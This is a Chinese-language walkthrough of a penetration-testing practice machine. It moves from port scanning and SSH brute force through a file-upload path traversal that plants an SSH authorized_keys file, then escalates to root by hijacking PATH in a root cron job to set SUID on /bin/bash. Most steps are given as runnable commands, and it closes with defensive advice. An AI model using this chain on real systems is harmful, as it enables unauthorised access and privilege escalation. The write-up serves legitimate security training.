从WEB到内网&&文件上传&&SSH公私钥免密登录&&Cron job提权--------打靶经验分享
字数 1443 2025-08-10 13:48:19

从WEB到内网渗透实战:文件上传、SSH公私钥免密登录与Cron job提权

环境准备

  • 攻击机IP: 192.168.45.201
  • 目标靶机IP: 192.168.248.249
  • VPN配置: 使用openvpn universal.ovpn连接

信息收集阶段

1. 端口扫描

使用Nmap进行初步扫描:

nmap --min-rate 10000 -p- 192.168.248.249

发现开放端口:21(FTP)、22(SSH)、111(RPC)、139(SMB)、443(HTTPS)、445(SMB)、2049(NFS)、10000(Webmin)、25022(SSH)、33414(未知)、40080(HTTP)

2. 服务版本探测

nmap -p 21,22,111,139,443,445,2049,10000,25022,33414,40080 -sV 192.168.248.249

重点关注端口:

  • 21: FTP
  • 25022: SSH
  • 33414: 未知服务(Werkzeug/2.2.3)
  • 40080: HTTP

攻击阶段

1. FTP服务(21端口)测试

尝试匿名登录:

ftp 192.168.248.249

用户名:anonymous
密码:空

未发现有用信息。

2. SSH服务(25022端口)测试

尝试弱口令爆破:

hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.248.249 ssh -s 25022

3. 未知服务(33414端口)测试

发现Werkzeug服务,使用dirsearch进行目录扫描:

dirsearch -u http://192.168.248.249:33414/

发现有用端点:

  • /help: 显示可用API
  • /info: 显示系统信息

4. HTTP服务(40080端口)测试

访问http://192.168.248.249:40080仅显示"Mozilla is cool!",无有用信息。

文件上传漏洞利用

1. 测试文件上传接口

发现/file-upload接口,尝试POST方法上传文件:

curl -X POST http://192.168.248.249:33414/file-upload

2. 创建测试文件并上传

touch shell.php
curl -X POST -F file="@/home/czy1874396671/shell.php.txt" -F filename=shell.php http://192.168.248.249:33414/file-upload

发现PHP文件被阻止,尝试其他格式。

3. 检查上传文件位置

curl http://192.168.248.249:33414/file-list?dir=/tmp

4. 尝试目录穿越

curl -X POST -F file="@/home/czy1874396671/shell.php.txt" -F filename=../shell.php http://192.168.248.249:33414/file-upload

返回500错误,说明权限不足。

5. 寻找可写目录

发现/home/alfredo/.ssh/目录可写:

curl -X POST -F file="@/home/czy1874396671/shell.php.txt" -F filename=/home/alfredo/.ssh/shell.php http://192.168.248.249:33414/file-upload

SSH公私钥免密登录

1. 生成SSH密钥对

ssh-keygen -t rsa

2. 上传公钥到目标服务器

curl -X POST -F file="@/home/czy1874396671/shell.php.txt.pub.txt" -F filename=/home/alfredo/.ssh/authorized_keys http://192.168.248.249:33414/file-upload

3. 使用私钥登录

ssh -i shell.php.txt alfredo@192.168.248.249 -p 25022

成功获取shell。

内网渗透

1. 查找用户flag

find / -name local.txt
cat /home/alfredo/local.txt

提权方法

1. 尝试sudo提权

sudo -l

需要密码。

2. 检查SUID文件

find / -perm -u=s -type f 2>/dev/null

无可用文件。

3. 检查Capabilities

/usr/sbin/getcap -r / 2>/dev/null

无可用文件。

4. Cron job提权

检查定时任务

cat /etc/crontab

发现每分钟执行的任务:

* * * * * root /usr/local/bin/backup-flask.sh

检查脚本内容

cat /usr/local/bin/backup-flask.sh

内容为将/home/alfredo/restapi目录打包到/tmp/flask.tar.gz

检查脚本权限

ls -al /usr/local/bin/backup-flask.sh

创建恶意tar命令

echo "chmod +u+s /bin/bash" > tar
cat tar
chmod +x tar

等待任务执行

约1分钟后,检查bash权限:

ls -al /bin/bash

应显示-rwsr-sr-x权限

获取root shell

bash -p

5. 获取root flag

cat /root/proof.txt

关键点总结

  1. 文件上传漏洞利用

    • 通过API接口上传文件
    • 发现.ssh目录可写
    • 上传自定义公钥实现SSH免密登录
  2. Cron job提权

    • 发现root权限的定时任务
    • 利用PATH环境变量劫持
    • 创建恶意tar命令获取SUID bash
  3. 技术要点

    • Werkzeug服务的安全审计
    • SSH公钥认证机制的利用
    • Linux定时任务提权方法

防御建议

  1. 文件上传

    • 限制上传文件类型和扩展名
    • 设置上传目录不可执行
    • 对上传内容进行安全检查
  2. SSH安全

    • 禁用root远程登录
    • 使用密钥认证时设置严格权限
    • 监控.ssh目录的异常修改
  3. 定时任务

    • 使用绝对路径执行脚本
    • 限制PATH环境变量
    • 定期审计cron任务
  4. 权限管理

    • 遵循最小权限原则
    • 定期检查SUID/SGID文件
    • 监控特权操作
从WEB到内网渗透实战:文件上传、SSH公私钥免密登录与Cron job提权 环境准备 攻击机IP : 192.168.45.201 目标靶机IP : 192.168.248.249 VPN配置 : 使用 openvpn universal.ovpn 连接 信息收集阶段 1. 端口扫描 使用Nmap进行初步扫描: 发现开放端口:21(FTP)、22(SSH)、111(RPC)、139(SMB)、443(HTTPS)、445(SMB)、2049(NFS)、10000(Webmin)、25022(SSH)、33414(未知)、40080(HTTP) 2. 服务版本探测 重点关注端口: 21: FTP 25022: SSH 33414: 未知服务(Werkzeug/2.2.3) 40080: HTTP 攻击阶段 1. FTP服务(21端口)测试 尝试匿名登录: 用户名: anonymous 密码:空 未发现有用信息。 2. SSH服务(25022端口)测试 尝试弱口令爆破: 3. 未知服务(33414端口)测试 发现Werkzeug服务,使用dirsearch进行目录扫描: 发现有用端点: /help : 显示可用API /info : 显示系统信息 4. HTTP服务(40080端口)测试 访问 http://192.168.248.249:40080 仅显示"Mozilla is cool !",无有用信息。 文件上传漏洞利用 1. 测试文件上传接口 发现 /file-upload 接口,尝试POST方法上传文件: 2. 创建测试文件并上传 发现PHP文件被阻止,尝试其他格式。 3. 检查上传文件位置 4. 尝试目录穿越 返回500错误,说明权限不足。 5. 寻找可写目录 发现 /home/alfredo/.ssh/ 目录可写: SSH公私钥免密登录 1. 生成SSH密钥对 2. 上传公钥到目标服务器 3. 使用私钥登录 成功获取shell。 内网渗透 1. 查找用户flag 提权方法 1. 尝试sudo提权 需要密码。 2. 检查SUID文件 无可用文件。 3. 检查Capabilities 无可用文件。 4. Cron job提权 检查定时任务 发现每分钟执行的任务: 检查脚本内容 内容为将 /home/alfredo/restapi 目录打包到 /tmp/flask.tar.gz 检查脚本权限 创建恶意tar命令 等待任务执行 约1分钟后,检查bash权限: 应显示 -rwsr-sr-x 权限 获取root shell 5. 获取root flag 关键点总结 文件上传漏洞利用 : 通过API接口上传文件 发现 .ssh 目录可写 上传自定义公钥实现SSH免密登录 Cron job提权 : 发现root权限的定时任务 利用PATH环境变量劫持 创建恶意tar命令获取SUID bash 技术要点 : Werkzeug服务的安全审计 SSH公钥认证机制的利用 Linux定时任务提权方法 防御建议 文件上传 : 限制上传文件类型和扩展名 设置上传目录不可执行 对上传内容进行安全检查 SSH安全 : 禁用root远程登录 使用密钥认证时设置严格权限 监控 .ssh 目录的异常修改 定时任务 : 使用绝对路径执行脚本 限制PATH环境变量 定期审计cron任务 权限管理 : 遵循最小权限原则 定期检查SUID/SGID文件 监控特权操作